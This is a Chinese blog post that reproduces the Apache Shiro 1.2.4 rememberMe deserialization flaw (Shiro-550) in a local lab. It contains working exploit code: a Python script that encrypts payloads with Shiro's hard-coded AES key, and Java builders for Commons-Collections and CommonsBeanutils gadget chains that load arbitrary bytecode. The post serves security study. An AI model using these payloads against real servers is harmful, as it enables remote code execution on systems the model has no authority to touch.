java反序列化学习-shiro550复现+CC链与CB链的打法

1.环境搭建

github 上下载源码 https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
下载后再idea打开后编辑 shiro/samples/web 目录下的 pom.xml,将jstl的版本修改为1.2
并添加以下依赖

<dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

如果打包后samples_web_war_explodedlib没有该依赖,可以将commons-collections-3.2.1.jar手动复制到 tomcat的 lib目录下。
为什么要进行这一步呢?因为该shiro环境下默认是没有commons-collections的,如果我们之间打CC链会提示找不到,所以我们需要将该依赖添加进去。
下面是我进行maven碰到的问题以及解决方法。

[ERROR] jdk [ vendor='sun' version='1.6' ]
[ERROR] Please make sure you define the required toolchains in your ~/.m2/toolchains.xml file.
这个问题只需要在用户的目录下的.m2目录下创建toolchains.xml,并写入以下内容
 <?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>jdk的目录</jdkHome>
    </configuration>
  </toolchain>
</toolchains>

2.漏洞复现

2.1 漏洞原理

运行 Tomcat 服务并抓取登录响应包时,观察到响应包中已包含 rememberMe 字段:

为探究 Cookie 生成机制,在 IDEA 中使用双 Shift 全局搜索关键词 ​​cookie​​,发现关键类 CookieRememberMeManager:

在该类的 getRememberedSerializedIdentity 方法中,发现对 Base64 数据的解码操作:

追踪该方法调用链,发现解密值被传入 convertBytesToPrincipals 方法:

在 convertBytesToPrincipals 中,进一步调用 decrypt 解密方法:

decrypt 方法通过 getDecryptionCipherKey() 获取密钥:

对该密钥变量右键 ​​查找用法​​,定位到赋值方法 setCipherKey():

继续追踪至 setEncryptionCipherKey(),发现硬编码密钥 DEFAULT_CIPHER_KEY_BYTES:

最终确认密钥值为 ​​kPH+bIxk5D2deZiIxcaaaA==​​:

反序列化操作定位在 decrypt 后的 deserialize 方法:

2.2 漏洞利用方法

基于上述分析,rememberMe Cookie 的处理流程清晰如下:
构造恶意的序列化对象作为 Payload。
使用硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 对 Payload 进行 AES 加密。
对加密后的字节数组进行 Base64 编码。
将编码后的字符串设置为 rememberMe Cookie 的值发送给服务端。
服务端处理流程(漏洞触发点):
接收到的 rememberMe Cookie 值进行 Base64 解码。
使用相同的硬编码密钥 kPH+bIxk5D2deZiIxcaaaA== 对解码后的数据进行 AES 解密。
将解密后的数据(即恶意序列化字节流)进行反序列化操作。
反序列化过程中执行了嵌入在 Payload 中的恶意代码。

3. exp编写

3.1 序列化数据加密流程实现

​​密钥准备​​:硬编码 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==(Base64 解码为 16 字节)
​​加密流程​​:
序列化恶意对象 → AES 加密(CBC 模式, PKCS5Padding) → Base64 编码
下面是通过python编写的序列化数据加密程序

import base64
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data


def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext


def aes_dec(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s: s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext


if __name__ == '__main__':
    data = get_file_data("ser.bin")
    print(aes_enc(data))

3.2 CommonsCollections 利用链构造

因为在这个环境中反序列化无法加载数组类,原理就不多说了
因为无法加载数组类,所以回顾一下之前学的几条链,找一下哪些不用数组,最后找到的是cc2+cc6+cc3。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiroCC {
    public static  void main(String[] args) throws Exception {
        //CC3
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //CC2
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        //CC6
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> lazeMap = LazyMap.decorate(map, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazeMap, templates);

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazeMap.remove(templates);

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazeMap,invokerTransformer);

        serialize(map2);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    private  static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

3.3 CommonsBeanutils 利用链构造

JavaBean
是一种遵循特定编程约定的 Java 类,基本特征

  • 私有属性:JavaBean 类会将数据封装成私有属性,以此来保证数据的安全性,防止外部代码直接对其进行修改。
  • 公共访问方法:为每个私有属性提供对应的公共 getter 和 setter 方法,外界通过这些方法来访问和修改属性。
  • 无参构造方法:JavaBean 必须包含一个无参的构造方法,这使得在创建对象实例时更加灵活,也便于一些框架(如 Spring)来实例化对象。
    commonsBeautils就是可用通过PropertyUtils.getProperty来获取一个javabean的某一个变量的内容

这里getProperty方法就会自动调用person类的get\(name/\)age方法来获取名字或者年龄
显然这里就存在一个可能会动态执行代码的地方,跟到getProperty里面看看
发现里面调用了另一个对象的getProperty,在更进去看看,发现调用了getNestedProperty方法


然后看下面不满足那几个if条件会调用getSimpleProperty方法

然后接着就会有根据获取到的方法来进行反射调用

然后我们可以想到在TemplatesImpl类里面有个getOutputProperties方法,用到了newtransformer

我们知道newtramsformer是可以动态加载类的
然后注意到getOutputProperties是get打头的,是符合javabean的格式。然后结合cc3的templates,缝合一个暂时的代码.

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BeanTest {
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates,new TransformerFactoryImpl());
        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);
        PropertyUtils.getProperty(templates,"outputProperties");
    }
}

为什么里PropertyUtils.getProperty(templates,"outputProperties")第二个参数为outputProperties。
因为在调用getProperty方法的时候,会把get和传进去的参数进行拼接然后调用getOutputProperties方法,在这个过程中java会把传参内容的首字母变成大写,而当我们直接传首字母为大写的参数的时候,他并不会弹计算器,这是因为在java中是小驼峰读法,当第一个字母为大写的时候,会识别不到这个参数,就会导致后续的都不会执行

所以接下来要做的就是去找一个链子,看来头是能反序列化的,然后中间又是能调用getProperty方法,然后找到了BeanComparator的compare方法调用了getProperty,而且变量可控

然后想到在cc2的时候会用到优先队列,在优先队列里的readobjct里面会调用一个heapify,然后heapify会调siftDown,siftDown会调用siftDownUsingComparator方法,在这个方法里面会调用comparator的compare方法,然后再cc2里面还调用了TransformingComparator,然后他的comparer方法会调用transformer的transform方法和compare方法
所以这整条链就连起来了。
但是需要注意
BeanComparator的构造函数会传入一个ComparableComparator,而ComparableComparator实际上是cc里面的,

但是下面有另一个beanComparator的构造方法,可以自己传一个comparator(cb有或者jdk里面有就行了)

最后找到的代替(既要继承comparator接口也要继承serialize接口)是AttrCompare。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class ShiroCB
{
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates,codes);
        //CB
        //BeanComparator beanComparator = new BeanComparator("outputProperties");
        BeanComparator beanCompatator = new BeanComparator("outputProperties", new AttrCompare());

        //CC2
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> c = PriorityQueue.class;
        Field comparator = c.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue, beanCompatator);
        Serialize(priorityQueue);
//        unserialize("ser.bin");

    }
    public static void Serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

posted @ 2025-06-24 12:05  nago  阅读(101)  评论(0)    收藏  举报